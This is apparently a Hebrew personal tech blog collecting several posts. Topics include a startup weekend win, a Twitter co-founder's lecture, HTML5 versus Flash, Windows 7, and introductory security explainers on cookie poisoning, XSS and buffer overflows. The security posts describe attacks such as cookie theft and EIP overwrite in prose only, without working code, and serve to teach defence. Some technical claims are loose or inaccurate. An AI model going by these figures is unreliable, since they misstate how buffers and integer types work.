קודם כל אני אומר שבשבוע הקרוב אני עובר לשרת אחסון חדש.

שנית, לפני כשבוע קיבלתי את המייל הבא:

We are selling the domain name krooc.com.  Since you own krooc.info
if you would like the more desirable .com version we are making it available to you.  The
one time cost is $99.97.  That includes a full year of registration and transfer of
ownership to you.  To purchase or to learn more go to:

$LINK

If you pass on this opportunity someone else could purchase this domain and it may not be
available again.  If you are not interested we will not contact regarding this domain.

כשראיתי שהדומיין krooc.com פנוי קניתי אותו לשנתיים, וממש לא ב-100$…

לפני מספר ימים הודיעו לי שזכיתי בתחרות בה השתתפתי בפרס – כרטיס כניסה לכנס Startup Weekend Israel. כמו כל גיק טוב, ביום רביעי יצאתי לבית IBM בפתח תקווה שם התקיים האירוע עצמו. (כל האירוע סוקר בהרחבה על ידי NewsGeek)

באירוע נכחו כ-130 איש שהתבקשו להקים סטארטאפ בתוך שלושה ימים (בסופו של דבר הוקמו כ13 קבוצות). במהלך הכנס התחברתי לכארבעה אנשים נוספים ויחד הקמנו פרויקט סטארטאפ שנועד כדי לאפשר אימות של מידע ברשת. בסופם של שלושה ימים ארוכים ומעייפים הצגנו את הפרויקט בפני חבר שופטים מטעם חברות גדולות (Google, IBM ו- Astrails) וזכינו במקום הראשון. הפרויקט היה כיף גדול, ולמרות שהגעתי לכנס מעט סקפטי, אני ממליץ לכולם להתנסות בחוויה. המארגנים, אגב, מסרו שיהיו עוד Startup Weekends בעתיד… אני לא מתכוון לפספס אותם.

קישורים רלוונטיים:

• פודקאסט מהאירוע ברברסים
• כתבה נוספת על האירוע ועלינו (אנגלית)
• כתבה עלינו באתר טלנירי

מבוא לקריפטוגרפיה, הצפנה וגיבוב

כשבונים אתר דינאמי, תמיד יש צורך לחשוב על אבטחת המידע. הרשת והמפתחים כבר מזמן לא נאיביים – אנחנו עדים כל יום לפריצה של אתרים, לפעילותם של האקרים – כובע שחור שזורעים הרס ואנרכיה ובכל זאת – אי אפשר לנטוש את האינטרנט, פשוט צריך למצוא דרך שתהיה יעילה מספיק כדי שיהיה מאוד קשה עד בלתי אפשרי לפצח אותה.

בפוסט זה אתייחס לנושאים באבטחה בסיסית עד בינונית שניתן להשיג באתרים מבוססי PHP, להם צריך להיות מודע מתכנת שבונה אתרים דינאמיים. כמובן שבשביל להשיג הגנה מקסימלית יש לעבוד נכון ולא לחשוף את המשתמש לשום קוד אליו הוא לא צריך להיחשף. אעלה בפוסט זה את הטעויות הנפוצות של בוני האתרים הלא מאובטחים, את הדרכים לעקוף את ההגנות וכן כמה דרכים מגוונות להגביר את ההגנה על האתר.

הקדמה

כדי לאבטח את האתר שאנחנו בונים בצורה מקסימלית צריך תמיד לחשוב מחוץ לקופסא, שכן הפתרונות שאנחנו מציעים תמיד נראים לנו כטובים ביותר – אבל עין אוביקטיבית תמצא בהם את הפגם במהירות. בפוסט זה אתחיל להסביר כיצד ניתן לאבטח את קוד הPHP שלנו בצורה נכונה, אבל כמובן שאבטחת קוד PHP אינה מספקת. כשמאבטחים אתרים דינאמיים תמיד צריך לחשוב על פרצות אחרות, מסוכנות לא פחות, כדוגמאת הזרקת SQL כשמשתמשים במסדי נתונים ובSQL, הזרקות קוד כשאנחנו מאפשרים למשתמש להכניס קוד JavaScript ללא השגחה מתאימה וכו'.

על מנת לחסוך בהתקשרויות חוזרות ונשנות אל שרת, נצטרך למצוא דרך לשמור מידע על המשתמש בצורה כזו שלא תאפשר למשתמש לשנות אותו ובכך לבלבל את האתר שלנו. קיימות מספר דרכים לשמר מידע על המשתמש. הנפוצות מבינן הן שמירת עוגיות (Cookies) וכן שימוש בסשנים. אסביר בזמן הקרוב על היתרונות, החסרונות והשימוש בכל אחד מהדרכים בצורה נכונה.

עוגיות

הדרך הנפוצה ביותר והמוכרת ביותר לשמירה של מידע על המשתמש היא על ידי שימוש בעוגיות. עוגיות (Cookies, קוקיז) הן קבצי טקסט מזעריים בגדלים של עד 4 קילובייטים שנשמרים אצל הלקוח ושמסוגלים להכיל בתוכם ערכים של משתנים עליהם אנחנו רוצים לשמור לפעמים הבאות בהם נבקר באתר, ושפגים לאחר תקופת זמן שהוגדרה מראש (במידה ולא הוגדר פרק זמן, הקבצים הזמניים יימחקו עם סגירת הדפדפן).

המאפיינים הנפוצים של העוגיה בהם נשתמש הם אלו: שם העוגיה, איתו ניתן לגשת אל העוגיה, ערך העוגיה – הטקסט החבוי בתוך קובץ הטקסט ותאריך תפוגה.

הבעיה הגדולה של העוגיות הן שהן נמצאות על מחשב הלקוח, לכן הלקוח יכול לבצע בהן שינויים ככל העולה על רוחו, ובכך לשנות ערכים של משתנים אותם שמרנו על המחשב שלו לפעם הבאה שיבקר באתר. קיימים חסרונות שונים לשימוש בעוגיות. מעבר לשינוי ערך העוגיה, ניתן גם לגנוב עוגיות ממחשב אחד ולהשתמש בהם במחשב אחר, ניתן לנצל את העובדה שהעוגיות נשלחות לשרת כדי ליירט אותן ולשנותן.

לדוגמא: בעקבות שימוש לא נכון בעוגיות שמרנו את שם המשתמש של המשתמש בעוגיה לפעם הבאה שבה הוא ייכנס. המשתמש שינה את ערך העוגיה שלו לשם משתמש של משתמש אחר, וכתוצאה מכך לאחר ששינה את שמו, האתר קרא את המידע שאגור בעוגיה, חשב שהמשתמש הוא משתמש אחר ונתן לו לבצע פעולות במקום המשתמש האחר התמים.

כל שינוי של ערך העוגיה על ידי המשתמש נקרא Cookie Poisoning, והוא דומה מאוד למתקפות ARP Poisoning על רשתות. המידע נערך על ידי המשתמש ובכך מטעה את השרת שקורא נתונים שגויים מהמשתמש. דוגמא קיצונית נוספת היא כאשר משנים את סכום הקניה בעוגיה בחנויות הוירטואליות ובכך משנים את הסכום הכולל של הקניה.

חסרון נוסף של העוגיות הן שהן לא מסוגלות להבחין בין חילופי משתמשים ולכן ייתכן מצב בו ניתן לעוגיה תוקף רחוק, אך המשתמש כבר התחלף ולכן המשתמש החדש יכול להשתמש בעוגיה במקומו.

לדוגמא: בעקבות שימוש לא נכון בעוגיות שמרנו את מספר כרטיס האשראי על מחשב הלקוח. מכיוון שהמחשב הוא מחשב ציבורי, המידע על המשתמש נשמר על מחשב שיכול להיות בשימוש על ידי מספר משתמשים שינצלו את מספר כרטיס האשראי לרעה, גם שעות וימים לאחר שהמשתמש עזב את המקום ואינו מודע לכך שפרטי כרטיס האשראי שלו בסכנה. מדוגמא זו ניתן לראות כי השימוש בעוגיות נעשה במיטבו כשהמשתמש נכנס אל האתר מהמחשב היחיד והאישי שלו.

אחד מהפתרונות שהופך את השימוש בעוגיות למסוכן פחות הוא הצפנת המידע. כאמור, העוגיות מכילות בתוכן במקרים רבים פרטים מזהים על המשתמש, כאלה ייחודיים שאפשר בעזרתם להתחבר אל האתר. הפרטים הנפוצים שאנו שמים בעוגיות הם מספר מזהה של המשתמש, סיסמתו, שם המשתמש (או המייל) – במידה והם ייחודיים וכן פרטים על העדפות המשתמש ועסקאותיו. פרטים אלה במקרים רבים הם ייחודיים והם פרטים סודיים. על מנת למנוע מקרה של זיהום עוגיות (Cookie Poisoning) נוכל להעביר את תוכן העוגיות דרך פונקציות גיבוב והצפנה, ולהשתמש בתוצר ההצפנה שאינו דומה למקור ולו במעט.

אבל כמובן שהצפנת המידע לא תגן עלינו מגניבת עוגיות. גם אם הצפנו את המידע כמו שצריך, העתקה של העוגיות (פשוטו כמשמעו) והדבקתן במחשב אחר תתפרש כהתחברות. על מנת למנוע מצבים כאלה, נשתמש בעוגיות בקרה, כאלה שאין להם שימוש ממשי לאתר, אבל יש בהם צורך כדי לאמת את זהותו של המשתמש. האינסטינקט, בדרך כלל, אומר "IP". אבל בהתחשב בכך שכתובת IP אינה קבועה, הפתרון הזה לא מספיק טוב. במקרים כאלה ניתן להשתמש במידע שיש לנו בעקבות בקשת הHTTP.

בהמשך: הצפנה של המידע בעזרת פונקציה מובנית בPHP, סיבוך ההצפנה ידנית, טכניקות לפריצה של ההצפנות הקיימות, מידע שנהוג לשמור בעוגיות, סשנים, אבטחת סשנים מוגברת, כיצד האקרים פורצים סשנים, יירוט מידע ושינויו, מיקומים סטנדרטיים של עוגיות וכיצד לערוך אותן – בקרוב.

ביום שלישי, ה24.11 יצאתי עם אחי להרצאה של ביז סטון, ממייסדי טוויטר במהלך כנס הבוגרים של המכללה למנהל.

לא פוגשים בחור מיוחד כמו ביז סטון (Biz Stone, ממייסדי טוויטר) לעיתים קרובות, וההרצאה שהעביר בכנס הבוגרים של המכללה למנהל הייתה מיוחדת במינה. בשונה מהצורה שבה הרבה מהנוכחים קיבלו את ההרצאה, אני לא הופתעתי כשהוא לא דיבר על תוכניות עסקיות או אלגוריתמים מסובכים – למזלי, לא ציפיתי לכאלה. ביז הרצה במשך ארבעים דקות וסיפר על ההחלטות שהביאו ליצירת טוויטר, על הדרך שבה הוא תופס את החיים והרבה תובנות משעשעות.

הוא פתח את ההרצאה בתמונה בה רואים אותו ואת אשתו ביום חתונתם; אשתו עם יד על פניה, מסתכלת אל הרצפה והוא נראה מאושר מתמיד – הוא סיפר שבאותו רגע הוא ניסה להסביר לאשתו ש"Happy Mistakes are the best kind", ולא תמיד החיים מתנהלים כמו שציפינו. הוא סיפר שתופעת המיקרו-בלוגינג טוויטר החלה בכלל כפרויקט שונה לגמרי של העברת קטעי אודיו על גבי רשת האינטרנט, אבל התפתחה והשתנתה בעצמה. עם הזמן ביז פיזר המון קלישאות נחמדות באוויר – "השראה היא משאב שלא נגמר", "אפשרויות תמיד ניתנות ליצירה". אימצתי בחום חלק מהן. בנוסף, הוא שיתף מספר סיפורים מעניינים ויוצאי דופן על השימוש בטוויטר, כמו לדוגמא סיפורה של מאפייה שהחלה לעדכן בטוויטר מתי יוצאות עוגיות חמות מהתנור, ובחור שנסע למצריים כדי לצלם הפגנות שעדכן ממצרים שעצרו אותו ושוחרר לאחר מספר שעות אחרי שהמשפחה שלו ראתה את העדכון.

לסיכום ובסופו של דבר ההרצאה של ביז הייתה זריקת אדרנלין נהדרת – הוא לא שיתף סודות מקצועיים של טוויטר, הוא עצמו מודה שהוא לא איש עסקים. במקום, הוא העביר הרצאה נהדרת על החיים שמאחורי מיזם אינטרנטי ופיזר המון חכמת חיים.

אמשיך בסדרת המאמרים על הזרקות קוד (כהמשך לחלק הראשון), ואזכיר שראשי התיבות XSS מתייחסות לסוג פרצות האבטחה Cross Site Scripting, ולא לשפת עיצוב הגליונות CSS, עליה בוודאי אדבר בהזדמנויות אחרות.

פרצות XSS לרוב מתחלקות לשני סוגים עיקריים:

הראשונה היא פרצה זמנית, כלומר חד פעמית, שנעשית במכוון ולכן יש צורך להפנות את הקורבן לעמוד הספציפי עם הטעות. לרוב, פרצה זו קורה בעמודים של מנועי חיפוש שמציגים את שאילתת החיפוש באופן חד פעמי לאתר, אך לא שומרים זאת אצלם, כך שצריך להפנות את המשתמש אל עמוד תוצאות החיפוש הספציפי.

השנייה היא פרצה קבועה, שבה ההאקר שומר בדרך כלשהי את הסקריפט על השרת (דוגמא טובה היא למשל מערכת פורומים, בה ההאקר שותל את הסקריפט כהודעה מן המניין), והוא הופך לחלק אינטגרלי מעמוד מסויים.

יש המחשיבים אופציה נוספת שנקראת פרצת XSS מקומית. בפרצה מסוג זה מתכנת שומר בצד המשתמש קוד (לרוב JavaScript פשוט) שנחוץ לו לפעולה שוטפת באופן שגלוי למשתמש ולעיתים קרובות אפילו מאוכסן על מחשבו, למשל, קוד בדיקת תקינות טפסים. בצורה כזו, המשתמש יכול לערוך את קוד בדיקת התקינות באופן עצמאי, ובכך להתגבר על בדיקת התקינות, ולבצע פעולות שלא היה אמור לעשות מההתחלה.

כבודק אתרים, אין צורך לעשות עבודה מרובה כדי לבדוק האם האתר מכיל פרצות XSS או לא. כל מה שצריך זה ידע מועט בJavaScript, והרבה דמיון, שהרי האפשרויות לפרצות – כמעט ואין-סופיות. אדגים מספר תרחישים אפשריים:

• האקר מוצא פרצת XSS. הוא מנצל את הפרצה כדי להפנות את כל מי שמגיע לעמוד שהוא יוצר לעמוד דמה, שגונב את פרטיהם.
• האקר מוצא פרצת XSS. הוא מנצל את הפרצה כדי לגנוב את פרטי העוגייה של המשתמש ולשלוח אותם אליו.
• האקר מוצא פרצת XSS. הוא מנצל את הפרצה כדי להחדיר לאתר קוד זדוני. הקוד הזדוני שותל במחשב הקורבן רוגלה.

למעשה, הקלות שבה ניתן להשיג את הפרטים החסויים של המשתמשים פשוט מטרידה.

במאמר הבא ניכנס לעשייה, נתחיל לבדוק האם האתר מכיל פרצות אבטחה מסוג XSS, איך בודקים, מהם הסקריפטים הנפוצים ואיך מתמודדים עם תיבת הפנדורה שפתחתם ברגע שהתחלתם לקרוא את המאמר הזה. נתראה שם!

מדריך זה ינסה להסביר קצת על פרצות האבטחה בשם "גלישת חוצץ" (Buffer Overflow) וגלישה נומרית (Integer Overflow), על הנזקים שגלישות אלו יכולות לעשות ומעט על תכנות נכון. עם זאת, טכניקה זו דומה מאוד להזרקות SQL, לכן אולי כדאי גם לקרוא את הנושא על SQL Injections ולהיות בקיא בנושא.

ניתן להגדיר (דיי בקלות) את גלישות החוצץ כשגיאה השטותית ביותר, אך עם התוצאות ההרסניות ביותר. עם זאת, חלק גדול ממה שנאמר כאן כבר לא רלוונטי, אבל מכיוון שהבלוג הזה לא מוגבל לשפה כלשהי או מהדר ספציפי, אפשר לדבר כאן בקלות גם על מקרים שכבר לא תקפים בשפות מסוימות, במהדרים מסוימים וכו'.

כדאי שנבהיר מהו חוצץ (buffer), בכמה משפטים קצרים – חוצץ הוא מקטע זיכרון שמשמש כשלב ביניים בעת העברת המידע. בדרך כלל, המידע ייכתב אל החוצץ, ולאחר שהחוצץ יתמלא הוא יועבר למיקום הסופי שלו, והחוצץ יחל להתמלא מחדש. שימוש נפוץ כזה לחוצץ הוא בעת פעולת הצריבה לדיסק. מכיוון שיש צורך שהמידע ייצרב ברצף וללא הפסקות לדיסק, צריך להעביר את המידע באופן זמני אל חוצץ, שמשם הוא ייצרב אל הדיסק. בתוכנות רבות גודלו של חוצץ זה הוא 2.2 GB, ולכן לא ניתן לצרוב קבצים בסך של מעבר לגודל זה. כיום גודל החוצצים גדול הרבה יותר.

וכעת לעניינו – גלישת חוצץ מתבטאת בכך שתוכנית כלשהי חורגת ממגבלותיה, ורושמת לזיכרון יותר ממה שהוגדר לה. דוגמה לכך תהיה להכניס משפט שלם למקום בזכרון שמסוגל להכניס רק תו אחד, אם כי שגיאה כזו תהיה נדירה מאוד, או מספר גדול מאוד למקום שבו ניתן היה להכניס רק ספרות בודדות (מספר קטן בהרבה). התווים האחרים, אם כן, ימשיכו להירשם לזיכרון למקומות בזיכרון שאינם שייכים למשתנה, ובכך ישנו ערכים עליהם אין לנו שליטה. כלומר, בכך אנחנו יכולים לשנות (בטעות) ערכים חשובים של מערכת ההפעלה, משתנה אחר של התוכנית וכו' ולגרום לקריסה של התוכנית (בשפה המקצועית – Denial Of Service), במקרה הטוב, לשינוי ערכים מהותיים של מערכת ההפעלה או להרצה של קוד זדוני, במקרה הרע.

סוג נוסף של גלישה היא הגלישה הנומרית. שבמקרים רבים משעשעת הרבה יותר. כשאנו מתעסקים עם מספרים, הרבה פעמים נצטרך לבחור את סוג המשתנה בו נשתמש – במקרים רבים "הבחירה הטבעית" Integer (שמספק לנו טווח של בין 32,000- ל- 32,000+)יספיק לנו, ולא נרצה להשקיע מאמץ גדול בבחירת המשתנה. אבל קורה שאנחנו לא מערכים בצורה נכונה את גודל המשתנה את צורת ההצגה שלו וכדומה. במקרים כאלה, נוצרים באגים שנובעים מהכנסה של ערך גדול מדי. במקרים מסוימים, ייכנס הערך המקסימלי אליו יכולנו להגיע. במקרים אחרים, ייכנסו רק מספר הספרות האחרונות, ובכך נאבד חלק חשוב מהמספר אליו התכוונו (ראו ערך באג 2000. מכיוון שהשנים היו מיוצגות בשתי ספרות, לאחר השנה 99 הגיעה השנה 00) או בשיגור של משגר הלוויינים אריאן 5 (שנחל כישלון, אתם יכולים להניח) תוצאות מוזרות אפילו יותר יכולות להתקבל.

ידע בשפת C נדרש.

נניח ותוכנית מקבלת כארגומנט מחרוזת, ומשתמשת בפונקציה שאינה מוגנת כדי להכניס אותה למקום בזיכרון. כידוע, בשפת C מחרוזת בנויה כמערך של תווים, ולכן יש צורך לתת לה גודל מוגדר, אך מכיוון שהמחרוזת נקלטת מהמשתמש, אין אנחנו יכולים לדעת בוודאות כי הקלט שנתקבל תקין ועומד בסטנדרטים שנקבעו בתוך התוכנית (למשל, להגביל את המערך במספר התווים). פונקציה לא מוגנת כגון gets(), יכולה לגרום לפרצת אבטחה חמורה אם לא משתמשים בה כראוי. פונקציות נוספות שלא מבצעות בדיקות תקינות הן:

• gets()
• memcpy()
• strcpy()

בצורה הזו, אנו יכולים להכניס אל הזיכרון קטע קוד זדוני שמשפיע על גרעין מערכת ההפעלה (בשפה המקצועית – Shell Code) ולגרום לכך שהמעבד יריץ את הקוד הזדוני. ניתן לעשות זאת על ידי הכנסת מצביע אל הקוד הזדוני שלנו לאוגר בשם EIP (שעובד על עקרון זהה לזה של PSW – מכיל בתוכו הצבעה לפקודה הבאה שצריכה להתבצע) ולשם להכניס קטע קוד שייתן לנו הרשאות בצורה מסודרת.

טוב, Godaddy מתחיל להמאס עליי. הוא רחוק ואיטי וזה משהו שאני לא כל כך מצליח להסתדר איתו. יש למישהו המלצות על שרת מהיר, סביר במחיר ואמין? עדיפות לישראלי.

אני בטוח שכל מי שקורא את הפוסט הזה ויצא לו לנסות לבנות אתר בצוותא, מה שנקרא "דרך המסנג'ר" מכיר את התופעה: כאשר הפרטנר אינו מוחשי לידך אתה נתקל בהמון קשיים – קשיי תקשורת ותשתית. האנשים שאני מכיר לרוב בחרו בפתרונות הפשוטים והאינסטינקטיביים לפתרון חלקי של הבעיות האלה. אם זה בעזרת שליחה תמידית של הקבצים עליהם עובדים דרך תוכנות המסרים המיידיים (מה שגורם לאיטיות וסרבול, ולא פעם לבזבוז זמן כששני הצדדים מעדכנים את הדף בו זמנית) ובין אם זה פתרון אחר, גם הוא אינסטינקטיבי לא פחות – לעבוד על שרת משותף, אך לזה חסרון גדול – שרתים מעצם היותם שרתים הרבה יותר איטיים מאשר עבודה על המחשב. הם גם מספקים הרבה פחות פרטיות ממה שאנחנו רוצים כיאה לפרויקט בתחילת דרכו.

ובכן, בעת עבודתי עם חברי אלירן פאר (הידוע בכינויו "בלוז"), מצאנו פתרון הרבה יותר טוב: התקנו שרת ביתי על שני המחשבים שלנו, בעזרת התוכנה EasyPHP (אבל אני מניח שכל תוכנת שרת בקלות תעבוד, כמו למשל Wamp, בחרנו בEasyPHP בגלל היכרות מוקדמת עם התוכנה), ואילו את תיקיית השרת שיתפנו על ידי התוכנה dropbox.

dropbox היא אולי התוכנה היעילה ביותר שראיתי מזה שנים. התוכנה משתמשת בצבא של שרתי-ענן שמעלים את תוכן התיקיה אותה אנו משתפים באופן תמידי, עם כל עדכון של הקבצים, ומעדכנים את כל המחשבים בקבוצה. ובתרגום לעברית פשוטה: כל שינוי שאני עשיתי בקבצי השרת התעדכן באופן מיידי במחשבו של אלירן, וכך גם להפך. רענון פשוט בדפדפן הציג לי את הגרסא של הקובץ עליה אלירן עבד באותה דקה בדיוק, התראות מודיעות לי כשהוא מעדכן את הקבצים, גיבויים של הקבצים נשמרים באופן אוטומטי והשרתים המהירים גורמים לעבודה להיות חלקה מתמיד.

הבעיה היחידה היא בעבודה עם sql – לא מצאנו דרך יעילה מספיק לעדכן ולשתף במהירות את אותו המסד, אז החלטנו להתחבר אל שרת חיצוני.

אני בטוח שהעבודה בשיטה הזו תפתח חלון הזדמנויות לעבודה מהירה, בטוחה וקלה יותר לכלל קהילת המפתחים ממנה אני חלק. אני מגיש לכם את הפתרון הזה בעיניים עצומות ובבטחון ואני סמוך ובטוח שהפתרון הזה יעשה את החיים שלכם להרבה יותר קלים.

הערה: ראשי התיבות האמיתיים של Cross Site Scripting הם כמובן CSS, אבל נהוג לכנות את הנושא XSS מכיוון ש- CSS היא שפת עיצוב הגליונות המוכרת לנו.

רקע

כולנו היינו רוצים לחיות בעולם מושלם, אבל לצערנו הרבה פעמים המציאות טופחת לנו על הפנים, ומלמדת אותנו שכמעט אף פעם אי אפשר לסמוך על המשתמשים שלנו. פרצות אבטחה כדוגמת SQL INJECTIONS (וגם XSS שאותו ואת מעלליו נכיר היום), הן תוצאה של אמון מופרז במשתמשים. הרי מי חשב כשפותחו הפרוטוקולים הישנים שהמשתמשים ינסו להחדיר לנו קוד זדוני אל האתר?

Cross Site Scripting היא שם כולל לפרצות האבטחה שמנצלות את האמון שנותנים במשתמשים אתרים ומשתמשות בקוד זדוני כדי לגנוב סיסמאות ממשתמשים אחרים, כדי לגנוב את זהותם (גניבת עוגיות היא עסק נפוץ) וכו'. יש לציין שפרצות XSS נכתבות בשפות שהן צד-לקוח (ובראשן Javascript, שפת צד-לקוח קלילה ללימוד שמורצת בדפי אינטרנט פשוטים לגמרי ועם זאת חזקה מאוד בשימוש נכון), כך שהאשמים העיקריים בפרצות אלו הם אתר האינטרנט שהרשה את ההעלאה של הקוד והדפדפן, שפירש את הקוד, חשב שהוא לגיטימי והריץ אותו.

הקוד מפורש על ידי הדפדפן של המשתמש כקוד לגיטימי לכאורה, אך בעצם משפיע על הגדרות הדפדפן של המשתמשים או גונב סיסמאות. דוגמא קלסית הוא אתר האינטרנט ישראבלוג שהפסיק לחלוטין את השימוש בעוגיות בגלל פרצת Cross Site Scripting – XSS – שהועלתה בתור תוכן לגיטימי לבלוג, ונתגלתה כ"גונבת עוגיות". כתוצאה מכך, משתמשים נפרצו והחלו לפרסם רשומות שלא הם כתבו.

פתח דבר

בעבר ניתנו לקוד שהורץ מאתר במופע פתוח של הדפדפן לגשת למידע של כל האתרים שהיו פתוחים באותו רגע. כך למשל היו נגנבים פרטי חשבון באתר מאובטח כלשהו (נניח גוגל) בגלל גלישה באתר זדוני. היום, הדבר קשה הרבה יותר מכיוון שכל אתר יכול לגשת למידע ולעוגיות מאותו מקור ובאותו פרוטוקול.

הכותרת של הפוסט הזה מעט משקרת. מנקודת המבט הלא כל כך אוביקטיבית אבל עדיין נכונה, ברור שזה רק עניין של זמן עד שכל תוספי המולטימדיה לדפדפן (ובינם אדובי פלאש, סילברלייט וג'אווה אפקטס) ייעלמו לחלוטין. זה יקרה, כמובן, כשכל הדפדפנים יתמכו בכל התקנים, ותתקיים איזושהי אחידות נהדרת בין כל הדפדפנים הנפוצים בשוק. כזו שתגרום לנו, המעצבים והמפתחים של אתרי האינטרנט, לעבוד הרבה פחות קשה בנסיון נואש להתאים את האתר לכל הטכנולוגיות הקיימות כיום בשוק.

בעוד היום תוספים כמו פלאש או ג'אווה נראים לנו טריוויאליים לחלוטין (סילברלייט קצת נכשלה בעניין הזה), בעתיד נראה שתוספים אלו יאבדו מהמשמעות (ומהצורך) שלהם. Open Web הולך ותופס תאוצה (כחלק מהעניין, אפשר לראות אתרים המציעים שירותים שבעבר היינו מורידים תוכנות בדיוק בשבילן) והדפדפן מוכיח שהוא יכול לעשות את כל מה שעושים התוספים – גם לבד, והאמת שגם בלי להתאמץ יותר מדי.

בעבר, היה זה עדיף מבחינתך לא לציין את העובדה שאתה יודע HTML. השפה נתפסה כשפה מיושנת, ככלי חסר ערך ובצדק. את הדברים הגדולים ביותר, כמו הטפסים, האנימציות, העיצוב – לקחו ממנו. HTML 5, כך מסתמן, הולך להחזיר את הכבוד האבוד של HTML, בתכונות שלא מאכזבות את יכולותיה של פלאש 7 (שיצאה בשנת 2003). האמת היא, שכבר היום אנחנו יכולים לראות חלק מהיכולות של HTML 5 אצלנו בדפדפני "הדור הבא", למשל Firefox 3 או Internet Explorer 8. אפשר לראות כבר היום את השימוש בתג הנהדר Canvas, שמאפשר לנו לראשונה להציג תלת מימד שנבנה בדפדפן, למשל.

אולי עדיף שלפני שאתחיל לשפוך ולהסביר למה בעוד כמה שנים לא נדע יותר מה זה פלאש, נביא את הטענה ההפוכה. אדובי טוענת שאין לה ממה לחשוש משתי סיבות עיקריות: הראשונה היא ההיכרות והנוחות של המשתמשים עם פלאש (אפשר אפילו לקרוא לזה שמרנות) והשניה, היא שעד שייצא אל אוויר העולם יעברו עוד מספר לא מבוטל של שנים (כרגע הוא מתוכנן לצאת ב2012), ועד אז יכולותיה של פלאש יהיו אפילו יותר גדולות.

מנגד, עומדים האנשים הריאליים שכבר למדו מנסיון העבר. הגמוניה היא לא אינסופית. הספקנים יכולים להסתכל על הכשלון החרוץ של דפדפן נטסקייפ כדוגמא – כשהגיעה אלטרנטיבה טובה יותר, היא חטפה את השוק בסערה. נכון, אתרים כמו YouTube עדיין משתמשים בטכנולוגיה של פלאש, אך מסתמנות אלטרנטיבות שהן לא בהכרח רעות. אחת מהן היא טכנולוגיית סילברלייט, שכרגע מתמקדת בהעברת סרטוני וידאו באיכות גבוהה עד גבוהה מאוד ביעילות. השניה היא HTML 5, שמציג לראשונה את תג Video שיעשה את החיים של כולנו הרבה יותר קלים.

הסיבה השניה מעט יותר ריאלית, וייתכן שיכולותיה של HTML 5 באמת יהיו מעט מיושנות יחסית לזמנן. אבל חשוב לזכור שעל מנת להציג את הטכנולוגיה הזו לא נצטרך שום תוסף, פן שמקנה לטכנולוגיה ייתרון מאוד מוחשי. בנוסף, טכנולוגיית HTML 5 כל הזמן מתפתחת, ועם דחיפה מספיק טובה של קהילת המפתחים העולמית או קהילת המשתמשים העולמית, ההשתלטות תהיה מהירה ותכאב רק קצת.

ההיסטוריה של Adobe Flash ארוכה ומפותלת. תוכנת המולטימדיה התחילה בשנות התשעים בתור ShockWave Flash (והפכה מאוחר יותר לMacromedia Flash), התפתחה עם השנים והפכה לסטנדרט המקובל להצגת אנימציות, סרטונים, משחקים וכו' ברשת.

מכיוון שהטכנולוגיה מבוססת על גרפיקה וקטורית (בשונה מגרפיקה פיקסלית, תמונת מפת סיביות), הקבצים שנעשים בה יכולים להיות מוגדלים (פיזית, להימתח) מבלי לאבד את האיכות, תוך כדי שמירה על מימדי קובץ קטנים יחסית. לסרטוני ומשחקי פלאש אפשר לצרף גם וידאו ואודיו, והם מיוצאים בסופו של דבר בפורמט swf.

בחו"ל טכנולוגיית פלאש כבר מקובלת בתור הסטנדרט הפשוט להצגת וידאו באתרים (נגני וידאו נפוצים היום כמעט כמו תמונות) אפשר לראות זאת באתרים כמו CBS או YOUTUBE שפועלים אך ורק על טכנולוגיית פלאש, שתומכת בכל הדפדפנים ומתרחקים (כמו מאש!) מטכנולוגיות מפוקפקות כמו Cast-UP. בארץ, המצב הפוך. אתרים כמו Y-net, וואלה או נענע10 שמהווים דוגמא לאתרים אחרים מתעקשים לשמור על הנגן המעצבן Cast-UP בניגוד לכל מחשבה הגיונית, ולזנוח את טכנולוגיית פלאש. Cast-UP, יש לציין, מוכרת בבעיות התאימות שהיא יוצרת בין הדפדפנים (בעיה שאינה קיימת כלל בפלאש) ובסיבוכה. הייתרון הגדול שלה הוא שלא ניתן (לפחות לא בקלות) למצוא את נתיב הוידאו המקורי שהוקרן, ולכן אי אפשר להוריד (שוב, בקלות) את הסרטונים המוצגים בקאסט-אפ.

העתיד של טכנולוגיית פלאש לא ברור. טכנולוגיות כמו SilverLight של מייקרוסופט או JavaFX של סאן בהחלט מטילות איזשהו צל על העתיד (או יותר נכון, המשך המונופול המוחלט של פלאש ברשת). מצד אחד, תחרות היא נהדרת. אך מצד שני, תחרות גם תגרום לחוסר אחידות ולכך שלנו, בוני האתרים, תהיה יותר עבודה בהתאמה של התכנים באתר למערכות שונות. בנוסף, בHTML 5 שמגיע אלינו לטובה קיים תג Canvas, המאפשר ציור קליל בעזרת ג'אווה סקריפט אל תוך עמודי HTML. כיום הציור לא כל כך ציור ולא כזה קליל, אבל להמר על Canvas בתור העתיד אליו ישאף הדפדפן זה לא הימור מסוכן בכלל.

סוף השבוע הזה היה מרגש במיוחד. RC של חלונות 7 עובד לי על המחשב בצורה נהדרת. בסופו של יום אני יכול להגיד בלב כמעט שלם שחלונות 7 היא מערכת ההפעלה הבאה, מכל הבחינות. מייקרוסופט הצליחו לקנות את האמון שלי עם מערכת הפעלה נוחה, ידידותית, יציבה, תומכת לאחור וכמובן – יפייפיה.

הגרסא הנוכחית מתפארת בעיצוב דמוי ויסטה (חכו! חכו!), עם שינויים אחדים – באייקונים, בשקיפויות, בממשק וערכות העיצוב. הגרסא מגיעה עם סדרת רקעים עוצרי נשימה לשולחן העבודה, שאת חלקם פרסמתי כאן בבלוג. מעבר לזה, כל שטיק (וזו אולי נקודה שעובדת קצת לרעת החבר'ה במייקרוסופט) מאופקט (מלשון – מכיל אפקטים), אבל יש לציין שיש מקומות שבהן האפקטים לא יכלו לבוא בצורה טובה יותר, כמו לדוגמא בסיום משחק סוליטר. גם ממשקי ההגדרות בכל מקום שונו (טוב, אולי לא בכל מקום), ועכשיו הם גדולים ונוצצים, מה שמתגלה כאסוציאטיבי ונוח למדי.

הכלים החדשים-ישנים, כמו הצייר הנוסטלגי והכתבן השתדרגו בצורה מטורפת, וקיבלו ממשק דמוי – אופיס 2007, המכיל תכונות חדשות (הכתבן ממש הפך למיני וורד), והעלו את היעילות שלהם פלאים. בנוסף, המערכת תומכת בכל תוכנה שהרצתי עליה. זה לא המקרה של ויסטה בו תוכנות לא עבדו עליו כשתוכננו לאקספי. כאן תוכנות עובדות, גם אם תוכננו לאקספי ובעיקר אם הן תוכננו לויסטה.

אי אפשר להגיד שהגרסא נטולת באגים לגמרי. היא לא. אבל הם כל כך שוליים, וכל כך קטנים, שהם כל לא משנים את חוויית המשתמש המצוינת. לי יש רק דברים טובים להגיד על חלונות 7..

